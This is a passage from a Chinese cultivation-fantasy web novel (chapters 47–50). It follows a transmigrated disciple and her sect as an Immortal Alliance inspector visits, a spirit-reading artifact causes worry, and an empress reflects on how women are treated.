任嵩华脸上出现了非常不明显的若有所思:“章先生确通音修之道。” 关云铮:? 就知道她师父个花里胡哨的肯定会这些。 没有说会乐器就是花里胡哨的意思。 任嵩华几句话把在座的两个师妹说得诚惶诚恐又一头雾水,自己御剑走了,素衣飘飞得相当潇洒。 关云铮和楚悯面面相觑,实在不知道该说些什么来总结刚才的场景。 石桌上的月下逢相当善解人意似的,琴弦颤动着来了一段又悲伤又滑稽的小调。 关云铮还是第一次听见月下逢无人弹动自行发声,被吓了一大跳,差点从石凳上摔下去。 楚悯扶了她一把,两人对视片刻,不约而同地笑着叹了一口气。 **** 栖霜趴在凌风起腿上睡着了,不是亲眼见到,步雁山也很难想象一只貂睡着时能发出这么大的呼噜声,那动静大得不由让人怀疑:外界天塌地陷恐怕它也能独自安稳吧? 凌风起习以为常,因此说话时也没顾忌:“你怎么来了?” 毕竟他耍了好些年的脾气,虽然跟两个师弟仍在同一门中,但许久不曾打过招呼。上次在来去峰上同步雁山对坐饮茶,是他们二人之间这些年来的头回交谈,至于章存舒,更是到现在也没说过话。 如果关云铮在的话,大概会嘲讽一句:对对对,你凭一己之力冷暴力所有人,你好厉害哦。 可惜关云铮不在,而步雁山不会嘲讽别人,只会笑眯眯地戳人心窝子,于是他此刻笑眯眯地说道:“我不能来吗?师兄要是不愿意见到我,我这就走。” 成功把凌风起说哑了。 他坏脾气的大师兄给他倒了一杯酒,嘴上仍没好气:“我这可没有茶,将就喝吧。” 步雁山端着杯子答道:“就是来找师兄喝酒的。” 凌风起怀疑他吃错药了,但是之前给他的几瓶丹药里没有能吃成这幅样子的,于是怀疑道:“有心事?” 步雁山喝了一口酒:“倒也算不上。” 栖霜的呼噜声停顿了一下,两人一同低头看去,只见这小玩意儿相当熟练地扯过凌风起的袖子,明明还睡着,眼睛也闭得死紧,但就是毫无阻滞地把袖子给自己盖上了。 “师兄。”饶是步雁山这些年来见多识广,此刻也有几分惊诧了,“你这貂,怕不是已经成精了吧?” 凌风起面无表情道:“谁知道都吃了些什么进去。” 步雁山看破还说破,又喝了一口酒:“苍生道的小徒弟手艺很是不错,师兄也该尝尝。” 凌风起看他一眼,眼神凉凉的:“她?那小丫头不骂我就谢天谢地了,还能给我做饭?” 步雁山煞有介事地点点头:“师兄说的也是。” 凌风起胡子都要气歪了:“你到底做什么来了?!”存心要把他气死是吧?!—— 作者有话说:*写日记时前额叶占据主导,因此可以缓解焦虑 *裁冰:酒杯秋吸露,诗句夜裁冰——辛弃疾·临江仙 第48章 原本有些沉重的氛围被任嵩华的突然到访打破, 月下逢又冷不丁地弹了那么一串小调,再深重的情绪此刻也无法再被提起来了,两人心里反倒都松了一口气。 两人都担心彼此会因为这个话题感到不快, 因此默契地开启了别的话题, 心照不宣地把这件事放进心里,没再多说。 “那之后的武器课, 你岂不是不同我一起上了?”关云铮打量着方才不弹自响的月下逢。 楚悯若有所思地看着自己的琴:“听任师姐的意思, 章先生也通音修之道。” 关云铮点点头:“那就是师父教你咯?” 楚悯想象了一下章存舒弹琴的样子:“也许?” 事实证明不能背后说人,还没等两人对各自脑海中想象出来的画面讨论一番,被她们讨论的那个人就从月洞门的另一边走出来:“聊什么呢?” 关云铮本来就没完全坐在石凳上,被章存舒的声音惊得猛回头,无法平衡的情况下结实地摔了个四脚朝天。 “哎哟我去。”临摔倒时她其实抓了一把石桌,但经常摔倒的人都知道, 当你失去平衡之后,抓什么都是徒劳。 她摔得太突然, 章存舒和楚悯都没反应过来,好在石凳也就那点高度, 摔得不算太疼。 关云铮感觉自己今天有点太累了, 各种意义上的,于是干脆坐在地上没起来,抬起头对章存舒说:“师父, 任师姐方才说你懂音修?” 章存舒像是忽然被她喊回神了, 反应了一会儿后才说:“略懂。” 关云铮无语了一下,不知道她师父吃错什么药了,这样说话真的会让她想起某些死装男:“然后?” 章存舒这才彻底回神,先问了一句:“你就这样坐在地上?” 关云铮摆了摆手:“我累死了师父,你就让我坐这吧。” 她师父的表情介于疑惑和感到好笑之间, 语气倒是很平静:“我大概只能讲些浮于表面的东西。” 楚悯下意识接道:“那深刻的……?” 关云铮坐在地上,章存舒索性不过去坐了,往门上一靠:“我正好认识一个江湖散修,是音修,她过几天就来归墟。” 关云铮靠在石凳上点点头,接话:“那师父你认识的江湖散修还挺多……的——你说的这个江湖散修叫什么名字?” 章存舒看她:“苏逢雨。” **** 关云铮身心俱疲,第二天早上生物钟彻底失灵,睁眼时只见外头天光大亮,太阳真正意义上的快要晒屁股了。 摇羽的声音响起来:“终于睡醒了?你可真能睡啊,你师兄师姐都来过了,看你还在睡竟也没叫你。” 关云铮游魂似的,抓着被子盖过脸,活像是给自己入殓,语气死水般问道:“哪个师兄?” 摇羽如果有实体此刻脸上的神情一定很精彩:“这就是你关心的事吗?跳脱那个。” 关云铮“哦”了一声,躺着没动,隔着被子又问道:“所以现在什么时辰了?” 摇羽没好气:“我哪知道,估摸着快中午了。” 关云铮猛地坐起,掀开被子就要下床,简直想把看热闹不嫌事大的剑灵从剑里薅出来打一顿——虽然她既不能把它薅出来又打不过它。 “那你还跟我说这么多?”她一边穿外套一边骂骂咧咧,突然后知后觉地看向桌上的摇羽,“我昨晚把你拔出鞘了吗?” 她不至于把这玩意儿拔出来让它在这叽叽歪歪,惹得自己不痛快吧?她是累晕了又不是喝醉了,怎么对这件事一点印象也没有? 摇羽语气懒洋洋的:“那得问你了,昨夜做了什么梦,灵力波动得厉害,都把我震出鞘了。” 关云铮穿鞋的动作顿住:“我这么厉害?” 摇羽:“……你这人关心的事怎么都这么奇怪?” 关云铮自言自语似的:“我昨晚做了什么梦能灵力波动成这样?” 摇羽没接话。 虽然有理论说人每天晚上都会做梦,区别只在于有的人记得,有的人不记得,但她昨晚睡觉的体验更像是昏过去了,这种情况下大脑应该也没有余力编造梦境吧。 睡太饱了,关云铮的脑子此刻非常活泛,具体表现为她开始胡言乱语:“你说有没有可能是心魔引导致的?” 摇羽:“……你说这话自己不害怕吗?” 关云铮坐在地上点点头:“也是,它应该没法挣脱师父下的封印。” 摇羽不知道在想什么,竟然叹了口气:“现在又不着急了?” 她一骨碌爬起来,抄起剑就走:“我急。” **** 严骛此刻也很急。 昨日抵达归墟时有些晚了,学生不在练武场这些地方倒也说得过去,那今日他一大早就守在练武场,怎么依旧一个学生的影子也没看到? 步雁山甚至也不在。 真是活见鬼了。 总不能去找章存舒吧? 前几年刚得知归墟的掌门是步雁山而非章存舒的时候,他完全无法相信,倒不是说步雁山与章存舒对比就要差上许多——他也是在仙榜上有过显著名次的修士,实在是步雁山并不具备一个“掌门”的气度,任谁看了都会以为他是某个脾气好的教书先生。 虽然经历过昨天半日的接触,他此刻对步雁山的印象已经产生了变化,但他依然觉得章存舒是二人之中担任掌门的更优人选。 不过……他有好些年没见过章存舒佩剑了,就连上次仙盟邀他去商议集中教习的事,如此郑重的场合,他都未曾佩剑,实在是礼数全无。 这样想来,他不当掌门倒也可以找出由头——毕竟不能明着跟仙盟过不去,于是看着脾气更好、更懂得尊重仙盟的温顺师弟就成了掌门。 至于昨日遇到的那位…… 昨日他实在是气昏了头,居然没能想起来,章存舒确实还有个师兄,正好就是丹修。 只是章存舒的这位师兄比他还要不尊重仙盟,仙盟中甚至查不到他的记录。 仙盟中修士的记录就相当于凡人之中的户籍,需记录姓名,所在门派,所修派系,所持武器,以及与门中或派中他人的关系。 章存舒的记录里确有提及他尚有一师兄,但不论是往前翻阅或是往后,都看不到这位师兄的痕迹,严骛甚至一度以为这位师兄已经脱出归墟,成了江湖散修,如今看来,分明仍在门中。 如此,归墟岂非欺瞒不报? 倒是没想到寻常观摩还能发现此等问题,到时一并上报好了。 但是此刻该如何?归墟的弟子呢?!都到哪儿去了?! **** 关云铮赶到饭堂时饭菜都上桌了,活了两辈子,不对,她上辈子猝死了,总之活了二十多年没睡得这么爽过,并且睁眼就有饭,关云铮简直愧疚,摸着桌沿坐下时说话的声音都变小了:“我睡过头了。” 朴实无华的坦诚。 师门众人完全不在意,章存舒甚至打了个哈欠,说道:“多睡会儿长个子,我实在没个子好长了,你看,这不是被你师姐叫起来了?” 连映平淡道:“你分明是被馋虫叫醒的。” 江却把最后两盘菜端上桌,在连映身边坐下:“本来小越和小映去叫你了。” 关云铮心虚:“我没听到,睡得太沉了。” 江却摇摇头:“师父说你不起来也好,省得撞上晦气。” 大师兄看着很凶,讲话反而异常直白,听起来甚至有点呆呆的,虽然大家都习惯了,但“撞上晦气”这种说法肯定不是大师兄的作风,于是所有人看向打哈欠打到眼泪花都冒出来的章存舒。 章存舒给自己夹了个丸子:“姓严的这两天估计都会在归墟晃悠,但他比较能装蒜,某些该守的规矩还是会遵守,不会到各家院子里现眼。所以这两天没什么事就待在小院吧。” 关云铮接过楚悯递过来的碗筷:“他真的不会来小院吗?” 章存舒语气难得认真,看着关云铮说道:“仙盟的人都有个特点。” 关云铮下意识接话:“什么?” 章存舒收回视线,垂眼咬了口丸子:“脑子里缺根弦。” 关云铮差点被呛死,心里顿时生出一阵茫然:她在期待什么?不靠谱师父会在吃饭的时候说严肃的话题?还是他这张嘴会放过仙盟人? 闻越“嗯”了声,补充道:“某些人脑子里缺的不止一根,我看是缺张琴。” 楚悯没忍住:“噗。” 关云铮握着筷子简直想报警,这种吃饭的时候讲笑话的感觉太美妙了,她根本不敢往嘴里塞东西,生怕下一秒呛自己一个天崩地裂。 连映也笑出声,过了会儿才说:“口下留德,诸位。” 闻越倒是没接着损人了,换了个话题说道:“小悯之后学琴,谁来教啊,师父吗?” 楚悯闻言抬头:“章先生说会有一位江湖散修来教导。” 闻越好奇:“谁啊?” 关云铮一边夹菜一边回道:“一位叫苏逢雨的音修,嗯,功力深厚。” 闻越不知道昨夜三人的谈话内容,闻言很有几分惊讶:“云崽也知道?” 关云铮点点头:“昨日她混在被鬼灯楼掳去的姑娘里。” “她是早就追查到了线索?”连映问道。 关云铮思考片刻:“不知道,她也没说,杀完人就走了。”说完她又想起什么,补充道,“哦对,还踩了要暗算我的邪修一脚。” 闻越本来要夹菜,闻言菜也不吃了:“你被人暗算了?!” 关云铮含混地应了一声,没等闻越炸毛,就抬起左手道:“未遂。这只镯子把我手腕拎起来挡下了。” 闻越又放心地坐了回去:“怎么个拎法?” 关云铮心说该怎么形容呢,毕竟她当时的第一反应是蜘蛛感应,大脑还没来得及处理信息身体就做出反应什么的,虽然是被动状态。 这么说来也可以形容成入场被动,检测到攻击时触发,然后——弹反! 她脑补了一会儿“游戏角色关云铮”的技能,正想找个合适的说辞解释,左手忽然福至心灵地一动——接住了要从碗边掉下去的筷子。 师门众人一片寂静。 关云铮捞着筷子抬手:“就是这么拎的。” 闻越先开口了:“师父,这么好的东西你怎么不早点给云崽戴上?” 真是哄堂大孝了。 关云铮在这个修仙世界待了这么长时间,还是无法想象世界上居然会有这种形态的师门,听见闻越说这话完全下意识地头皮一紧,被唤起了曾经在东亚传统家庭被说“大人说话小孩不许插嘴”“我是你妈你就得听我的”“你这什么态度”的恐惧。 然而章存舒的回应是:“之前嫌它不够好看。” 还真是啊?? 就离谱。 连映的反应是:“云崽给它起名字了吗?” 关云铮抬起手腕看了会儿:“我还真想过。” 楚悯好奇:“叫什么?” “撷光吧,采撷的撷。”关云铮看向师门众人。 章存舒点点头:“挺好。” 关云铮也跟着点点头:“谢谢师父。” 章存舒抬眼看她:“忽然这么客气?不是昨晚坐地上同我说话的时候了?” “此一时彼一时嘛。”关云铮毫不心虚地说,“而且我觉得它很好看。”—— 作者有话说:今天略短(目移) 评论摩多摩多[撒花] 第49章 “师父。”闻越吃着吃着忽然想起件事, 抬起头问道,“柳相在哪吃?” 归墟除了集中教习弟子待的地方有饭堂,就只有苍生道还有吃饭的地方了。但柳卿知那个级别的官员, 应该不会去集中教习的地方吃饭吧? 章存舒硬是在连映的注视下夹走一片桂花年糕:“柳相?她自有去处。”不吃也有可能, 毕竟她也辟过谷。 关云铮茫然看向楚悯,压低声音:“柳相是谁?”都怪昨晚那顿饭太好吃了, 光顾着吃没顾得上说话, 沟通的太少,除了将隐的话题之外几乎什么也没聊,进度都对不上了。 总之李厨好,姓严的坏。 楚悯也配合着放低声音:“柳卿知,朝廷此次派来和仙盟同行的官员,当朝宰相。” 楚悯说完这句话的当下, 关云铮其实没能想起来柳卿知是谁。但随即她就有了种灵光一闪的感觉,仿佛有谁在这个间隙给她理清思绪了一样, 她无比自然地想起先前苍韫桢的原话:“卿知已经把他的折子打回去了”。 她一面想着:原来被苍韫桢叫做“卿知”的人是当朝宰相吗,一面又下意识地怀疑:小悯刚说完那会儿她明明对这个名字毫无印象, 为什么这么一会儿的时间又突然想起来了?她的记性什么时候这么好了? “都派出当朝宰相了, 朝廷会不会太过看重这次观摩了?”她不由得问道。 这句话的音量没克制,自然是桌边的每个人都听见了,章存舒笑了一下, 说道:“我看并非是看重。” 关云铮明白了:“是借此敲打严骛?” 江却接话:“大约也不是为了敲打。” 毕竟姓严的那位一大早就在练武场和学堂两个地方之间扑腾来扑腾去, 搞出不小的动静来柳卿知也没管过一次,简直让人怀疑她是否还在归墟。结合师父的回答,没准还有可能跑去山下吃饭了。 若是存了敲打的心思,总不至于到了晌午连面也不露。 关云铮迟疑:“那她来干嘛的?” 闻越煞有介事地思考了一会儿,果断道:“看热闹。” 楚悯:“噗。” 关云铮很想笑, 艰难忍住后默默夹了一筷子菜:“说的也是。” 毕竟是苍韫桢直接叫名字的人,估计跟女帝那性子相当合得来,奔波数百里为了看热闹?好像也不是不可能。 毕竟被看热闹的那位……这两天是真的很像小丑。 总之小丑,不是,严骛此刻在学堂。 褚鹤贤自然知道这几日学生们都不在,没有必要来学堂点卯,但恰好学生们不在,他的书也到了拿出来晾晒的日子,因此哪怕已过晌午,他仍在学堂里忙碌,听见严骛的脚步声也懒得抬头。 严骛年纪并不大,若是没入仙盟,没准还有机会当几年褚鹤贤的学生,因此虽然对归墟很不满,但对褚鹤贤的态度还算可以,哪怕这位老先生当下只用后背对着他,他也还是弯腰行了个礼:“褚先生,叨扰了。” 褚鹤贤没搭理他,把收藏的卷册都摆出来,挨个翻看是否长了蠹虫。长虫的卷册和页码需要尽快记录下来,以便日后按记忆重新誊写,补上被咬坏的书页。 归墟建成后一直有阵法加持,天气始终温和干爽,书页泛潮的情况并不多见,但毕竟此刻山下已入深秋,蠹虫自然奔着更温暖的地方来了。 守山大阵只驱逐坏人,不驱逐坏虫。 褚鹤贤心疼地翻着书页,时不时抬头操控着身侧的笔,记录下需要修复补足的卷册和页码。 严骛能凭借自己的能力混进仙盟,自然也没少坐过冷板凳,对位高权重者的冷脸早已习以为常,没在意褚鹤贤对他的问好置之不理的行为,走上前问道:“先生可是要将这些卷册拿去晾晒?学生可以帮忙。” 褚鹤贤从卷册间抬起眼来,终于赏了他一个眼神:“老夫并未教过你。” 他看向严骛的眼神里没什么情绪,没有打量,没有怀疑,只是寻常地看了一眼。 严骛许多年没见过这样纯粹的眼神了。仙盟中地位处于他之下的,看他的眼神总是尊敬里掺杂着不易察觉的鄙夷,尊敬是不得不为,鄙夷是真情流露;那些地位处于他之上的,看他的眼神则更像是看待一个好用的物件,偶尔还会流露出一点压根没打算遮掩的嘲弄。 至于仙门人,则更加不做遮掩:仙盟中人并不修道,却能对仙门内部事务横插一手,对教习弟子等事多嘴多舌,修道之人自是能找出一百种厌恶他们的理由。 那些鄙夷、嘲弄、厌恶的眼神就像在说:钻营之辈,无怪乎此。 严骛露出一个真情实意的笑容:“先生才学深厚又醉心教书育人,天下谁人皆可是先生的学生。” 褚鹤贤似乎是叹了口气,随即屈服似的一抬手,把那正在记载的纸笔召来:“我说你记,把卷册和页码写清楚。” 严骛立刻应下,捧着纸笔到下方的一张书桌上坐下,等着褚鹤贤的吩咐。 ——闻越来时见到的便是这样的画面。 惊得他刚迈进学堂半步又立刻退了出去。 见鬼了,在褚老后边像个乖学生似的坐着的,是那个姓严的?他被夺舍了?哦不对,夺舍跟献舍一样早就失传了,以他当年在仙门修习时的境界,应该还不够格。 褚鹤贤年纪虽大了,耳朵却好使得很,听见动静后头也没抬就说道:“来得正好,替我把这堆卷册捧出去。” 闻越“哦”了一声,顺着两列书桌之间的间隙走到学堂的前方:“还是晒在老地方吗?” 褚鹤贤继续翻卷册:“你还能给我找到新地方?” 闻越俯身把那堆没被咬坏的卷册抱起来,老神在在地答道:“那不能够,归墟哪有那么多宽敞的地方晒我们褚老的宝贝卷册。” 褚鹤贤熟练地一掌拍在他背后:“一天到晚就知道嘴贫。” 闻越抱着卷册飞速逃走了。 刚走出学堂,就看见不远处树丛里探出两个脑袋。 关云铮和楚悯像两只探头探脑的狐獴,前者看见闻越出来,还高兴地朝他招了招手。 闻越先是被吓了一跳,没想到两个人偷偷跑出来了,居心叵测的那货可就在他背后的学堂里呢。接着他的神情又转为无奈,把怀里的东西托了托,朝两人走过去。 “你们怎么出来了?不是让你们待在小院里吗?”闻越问道。 关云铮立马收回刚才还在招呼的手,眨了眨眼,装乖道:“不上课也不能下山,太无聊了,出来找你玩。” 闻越失笑:“我得给褚老晒书,要不你俩随我一起?” 关云铮积极响应,牵着楚悯从树丛后走出来:“晒哪儿去?” 闻越朝远处抬了抬下巴:“练武场。每年秋天褚老都会找个日子晒书,本来今年归墟接纳集中教习的弟子,他以为腾不出地方了,结果仙盟来了这么一出,弟子们都下山去了,练武场没人占着,反倒又能晒了。” 楚悯点点头:“闻师兄,分我们一些吧,你怀里这么多卷册,还能看清路吗?” 关云铮已经要伸手去拿了。 闻越往旁边走了一步:“一年没晒了一股子霉味,你们别沾上了。再说了,归墟我都待多久了,不用看我也……哎哟!” 待了很久的归墟不太给他面子,不知哪来的石子硌了他一下,人是只晃了晃没摔,但怀里的卷册快飞出去了。好在关云铮和楚悯早有准备,两人一左一右,把那堆摇摇晃晃的卷册托稳了。 闻越认命地站定,任由两位师妹从他怀里把卷册分走,嘴上还在辩解:“都怪那石子。” 关云铮抱过一叠,点点头,严肃道:“都怪石子,不给我们师兄面子。” 楚悯也跟着点点头:“都怪石子。” 闻越本来也没怎么在意,两人还左一句右一句地帮着他谴责石子,更是直接被逗笑了:“你俩的御物术学得不错。” 关云铮抱着卷册走在闻越旁边:“因为卷册比羽毛和水好操控多了。” 闻越看她:“掌门教御物术用的是羽毛?” 关云铮想起自己被羽毛折磨的那几节课就想往脸上戴痛苦面具,闻言“嗯”了一声:“越是轻巧,越是无形,越是难以掌控。” 楚悯点点头:“不知道是步掌门自己的决定还是仙盟的意思?” 闻越思考了一会儿:“应该是掌门自己的决定吧,你们别看他平时笑眯眯的,其实在制定修习标准这件事上,还挺严苛的。” 他说完又习惯性埋汰了一句仙盟:“那些人懂什么修道。” 楚悯有些困惑:“竟是掌门制定的标准吗?” 三人说话间走到了练武场,闻越把怀里的书册放下,每一本平摊开:“以前掌门也不这样,我怀疑是受任师姐的影响。” 关云铮在闻越旁边把书放下:“任师姐的影响?” 闻越向前走着,走一步放下一本:“你们看任师姐就知道她修习一定十分刻苦,掌门和任师姐的住所在来去峰上挨着,师姐晨起练剑,午后练剑,晚间练剑,掌门都能看见,逐渐就被影响了。” 听起来很有道理……才怪。 关云铮质疑:“这话有依据吗?还是师兄你信口胡说的?”虽然确实听说过学生太勤快反卷得导师连发好几篇论文的……但毕竟这种事的传说色彩太浓厚了,现实生活中她只能看到疯狂压榨学生的导师,和无论何时何地都得立刻响应导师号召的牛马研究生。 虽然她所知的步雁山和这种导师绝无相似之处,但老师好不好不还得看亲传弟子的评价吗?旁观者是无从置喙的。 闻越毫不心虚:“当然是我乱说的。我只知任师姐勤勉,不知她勤勉到什么地步,也不知掌门为何制定严苛的修习标准,终归你们御物术学得不错,标准严格些倒也不算什么大事。” 关云铮悄悄踩了一脚他的影子,小声嘀咕道:“你倒是慷他人之慨了,我学得可累了。” 闻越没听见,走在她旁边的楚悯倒是听到了,轻声笑了一下。 慷他人之慨的便宜师兄回过头来:“不用担心地上脏,褚老晒书是因为放久了生霉,脏污他一个术法就去除了。” 关云铮好奇:“那术法不也应该可以去除异味吗?” 闻越露出一个看透一切的笑容:“自然,但晒书多有成就感,你看。” 他已经走到练武场的尽头,一地的书册在阳光下散发着独特的气味,关云铮轻轻嗅了嗅,感觉没什么霉味,倒是有一股墨的香味。 楚悯深以为然地点头:“确实很有成就感。” 关云铮也跟着点头,随即又想起什么,问道:“对了,师兄,你刚才说到仙盟,那个仙盟人到哪去了?” 闻越弯腰久了有点累,在远处叉腰站着,闻言没好气道:“你现在想起来问了?” 关云铮不明所以地眨眨眼。 闻越向他们来时的方向指了指:“他方才就在学堂。但凡你们两个再胆大一点,就能直接跟他碰上面了。” 啊哦。 还好没进去。 闻越在阳光下微微眯起眼:“虽说我也不清楚仙盟这次派人来到底想做什么,但肯定没憋好屁。” 关云铮默默在心里:爱听,会说多说。 楚悯老实接话:“任师姐昨日说,严骛此行可能带来了一个法器,可测灵根与天赋。” 闻越骤然色变,踩着书册之间仅有的缝隙飞快地跑过来,拉上两个刚晾完书的师妹就走。 两人一脸茫然,但配合地被拉走了。 待到回了关云铮的小院,闻越把两个师妹安置在秋千上,才喘着气解释:“我见过那个法器。” 关云铮也还在喘,因为中午吃太饱,闻越拉着她跑太快,这段路跑得她差点吐了:“真能测灵根和天赋?” 闻越像是回忆起了什么令人不甚愉快的画面,皱着眉头说道:“何止,还能照出识海。”—— 作者有话说:上榜了TvT我出息了 第50章 柳卿知其实哪也没去, 就待在步雁山给她安排的住处里,只不过她也没饿着,因为有人给她带来了吃的。 某人晨起时分就传来了信, 半炷香前忽然出现在房内, 还没等站稳便说:“好久没缩地成寸了,技艺竟未生疏。” “你还真来了?”柳卿知把早间从灯罩中飞出来的信件折好, 抬眼看向来人。 来人——苍韫桢弯腰理了理衣摆, 直起身来把手上的食盒递给柳卿知:“我开了朝会,批完了折子,如何不能来?” 柳卿知没对她的话做出评价,接过食盒打开,把里头的饭菜端出来。 “姓严的在哪折腾呢?”苍韫桢在桌边坐下。 柳卿知面色平淡地夹菜:“隔壁就是苍生道,你去问问章存舒。” 苍韫桢挑眉, 随即笑起来:“都把你安排到苍生道附近了,怎么不去他们那吃饭?我听章存舒说他小徒弟手艺不错。” 柳卿知抬眼看她:“他小徒弟昨日傍晚才回来, 他哪里会舍得让她下厨?再说了,不是你大早上的让我先饿着, 等你给我送吃的来吗?” 苍韫桢撑着下巴点头:“是是, 卿知说的是。” 柳卿知原本面无表情,被她一句话逗笑:“你少同我嘴贫。” 苍韫桢坐在桌边看她吃了会儿,站起身来:“既然隔壁就是苍生道, 那我去找人聊聊天。” 柳卿知“嗯”了声:“左右严骛也不会去苍生道院内讨嫌, 去吧。” 苍韫桢临走前特意看了眼桌上被叠得整齐的信件:“怎么,你还打算从归墟把它带回去?” 柳卿知没抬眼:“不行?” 苍韫桢笑着出门去了:“自然由着你。” **** “当年那个法器刚被打造出来的时候,并非归属仙盟,而是出自一位器修之手。”闻越坐在石凳上面朝两位师妹,开始讲述他所知道的故事。 “那时我初入归墟, 对什么都一知半解,只知道大比时有热闹可看,没觉出有哪里危险。”闻越回忆着说道,“哦对,任师姐和师兄就是那年打的架。” 关云铮的注意力瞬间被岔走,很想立刻追问当时二位师兄师姐打架的具体情形,忍了又忍好歹是忍住了,追着话题问道:“什么危险?那个法器?” 闻越点点头:“能照出识海的法器,不觉得听了都后脊发凉吗?” 关云铮心说那可太发凉了,毕竟心魔引就在她识海里,要是严骛此番真的是这个目的,她就能理解章存舒为什么会突然把弟子们都送下山了。 毕竟他加诸于心魔引上的只是封印,不能掩盖它始终存在于识海的事实。 “当时有人因为这个法器被检查出问题吗?”楚悯问道。 闻越摇摇头:“那法器被做出来的时机很不好,按说都到了仙门大比的时候,被挑选出来参与的弟子自然都是各门各派中的前列,没有必要再进行资格方面的筛选。”他叹了口气,“但既有了能测出灵根和天赋的法器,断没有不投入使用之理,因此那法器的第一次使用就是那年的仙门大比。” 关云铮皱眉:“只是筛选?” 闻越摊开双手:“解释的权利自然落在仙盟手里,那东西太随人心意了,能预先设定标准,什么样的灵根被认为是修道圣体,什么样的天赋是修道天才。” “法器检测出的结果与弟子们内心对自己的预期不符,有些人接受不了?”关云铮猜测道。 闻越点了点头:“一直往某个方向努力的人,被检测出灵根与所修之道并不相符,天赋并不如自己以为的上乘……” 时间久了,这些人会怎么想? 楚悯也皱起眉头:“虽说归墟并无入门时的检测,但据我所知,多数仙门都有粗略测试灵根与天赋的环节,怎么会……” 闻越又叹了口气:“这就是我说危险之处。那法器的标准全由使用者裁定,他人是否适合修仙,是否契合某道,全凭使用者三言两语,岂不比心魔引更可怕?” 关云铮默然:确实如此。 那严骛此番还带着这东西,岂不是司马昭之心? 闻越像是看出关云铮在想什么,宽慰道:“还不能确定他此番就带了那玩意儿,再者说,他只是仙盟派来进行观摩的人选,并无太多实权,我料他也没胆子真的用上那东西。” 关云铮并没觉得情状轻松多少:“那如果仙盟是派他先来试探归墟,之后还有别人呢?” 躲得了初一,躲不过十五啊。 闻越伸手摸了摸她的脑袋:“仙盟若是真敢让那东西重新用于人身,其他仙门也定然不会同意,归墟中集中教习的弟子绝大多数来自其他仙门,断没有只有归墟发愁的道理,到时师父自会知会其他门派。” 说到知会其他门派……关云铮强行让自己暂时放下心来,提起另一个话题问道:“师父都是通过什么跟其他门派传信的?” 跟之前的灯火传信一样? 闻越正想回答,一阵脚步声传来,三人同时捕捉到动静,一同转过头,看见连廊上逐渐走来的人。 楚悯和闻越都没见过苍韫桢,关云铮却对她印象相当之深刻,因此一看清来人的相貌就“噌”地一下从秋千上坐了起来:“您怎么来了?” 关云铮对来人的态度过于郑重,闻越和楚悯还没见过她这副模样,趁苍韫桢还没走近悄悄问她来人是谁。 她脸都快被惊得瘫了,闻言从牙缝里挤出声音答道:“柳卿知的顶头上司。” 闻越和楚悯:…… “她是来找谁的?”闻越也开始从牙缝里挤声音。 楚悯低声:“我觉得是来找云崽的。” 闻越目视着苍韫桢越走越近,最终下了连廊在几人面前站定,笑着说道:“我同云崽有些话想说,不如二位先……?” 闻越立马拉着楚悯衣袖走了。 像话吗这。关云铮站在小院中满心凄凉地想。 **** “昨日下山感觉如何?都做了些什么?同我说说。”苍韫桢看起来心情不错,一坐下就这样问道。 关云铮简单把昨日的经历说了说,删去了与原身有关、不便与外人言的部分。 苍韫桢饶有兴致地听完了,察觉到关云铮说完了还看了她一眼:“没了?” 关云铮说得喉咙都快冒烟了,闻言瞪大眼睛:“您觉着还不够跌宕起伏?” 苍韫桢被她逗笑:“确乎跌宕起伏。”她笑了会儿才继续说道,“你方才说,遇见了一个江湖散修,还是音修?” 关云铮应了声,了然道:“您不会也认识她吧?” 苍韫桢颔首:“知道一些,她家世代都是斫琴师,到她这代旁支多,技艺不怕没人继承,她便去学音修之道了。” 关云铮点点头,很想接着说点什么,但实在渴得受不了了,快步回屋把茶具抱出来,先给自己倒了一杯,又看向苍韫桢:“我这只有水没有茶叶,您喝吗?” 苍韫桢抬手给自己也倒了一杯:“上次拿回来的茶叶呢?” 关云铮一口把一杯水给干了,又给自己倒了一杯才回答:“一些在师父那儿,一些在饭堂,备着煮奶茶。” 苍韫桢挑眉:“奶茶?” 关云铮捧着茶盏“嗯”了声:“陛下待到何时?若是不急着走,我去给您煮一点尝尝?” 苍韫桢一愣,随即眉眼都笑得弯起来:“好啊,那就劳烦你了。” 关云铮这才接上方才的话题:“那她是苏家直系?直系不继承技艺,不会落人口舌吗?” 苍韫桢低笑:“你也见过她了,你觉着她在意会否落人口舌吗?” 关云铮默然:那确实不会。 苍韫桢似乎是在回想记忆里苏逢雨的样子,又像是在忖度下一个话题,沉默了一会儿才继续说:“她对那些邪修的态度如何?” 关云铮莫名被这个问题梗了一下,有点不明白女帝想表达什么,但还是照实回答道:“像见了脏东西吧。” “她没同你说过什么别的话?”苍韫桢问道。 关云铮疑惑:“除开介绍姓名和来意,没说什么别的了。” 苍韫桢撑着下巴:“也是,你毕竟还小,她可能不会同你说这些。” 关云铮一头雾水,有什么话题是她这个二十多……哦她现在十五,好吧十五岁不能听的东西是有那么一些,但她又不是21世纪的十五岁!这都古代架空了! 苍韫桢被她变幻莫测的神情再度逗笑,解释道:“也可能当时有他人在场,她不便说这些,不然以她的性子,约莫是不会只介绍姓名。” 他人?那当时“他人”确实很多,没死的邪修,楚恽,和一大帮被绑走的姑娘。 “奸|淫|掳|掠妇女的情形并不少见。”苍韫桢忽然这么说道,“我同她认识那时,也是因为差不多的事。” 关云铮面上神情毫无波动,实则差点咬了自己舌头。虽然苍韫桢说的是无需“大惊小怪”的事实,但骤然从平静的话题切到这里,她绝非毫无触动。 所以要是没有“他人”,昨日的苏逢雨会说什么? “那时我,”苍韫桢忽然顿了一下,然而停顿十分不明显,关云铮几乎还没来得及反应,她就又接上了前面的话,“年少轻狂,见了此事愤慨非常,解决歹人后怒斥了许久的世道,女人不得入私塾学堂学习,女人不得自由决定婚姻嫁娶,女人不得违逆父母夫婿,女人不得抛头露面……” “而男人呢?一个男人哪怕从小胸无大志,文不成武不就,爹娘也会在外高声宣称,自己的儿子‘是金子总会发光’,而那金子自身更是会在喝得烂醉如泥后,嚷嚷自己绝非无才无德,而是怀才不遇,他人目不识珠。” “一个男人哪怕流连花街柳巷,不过一时敷衍配合,听从父母的心意娶了妻,日后照样嫖|赌两不误,别人也只会指责那女人无能,父母只会对那无辜妻子斥责打骂,不会怪罪儿子半分。” “一个男人,奸|淫|妇女不需要付出任何代价,他们甚至会在走出作恶地的瞬间,忘记那可怜女子的相貌,继续毫无负担地在这世上潇洒快活,那女子却要因为此事被戳断脊梁,痛苦度日,有的自缢而亡,有的郁郁而终。” “你猜那时苏逢雨说了什么?”苍韫桢忽然问道。 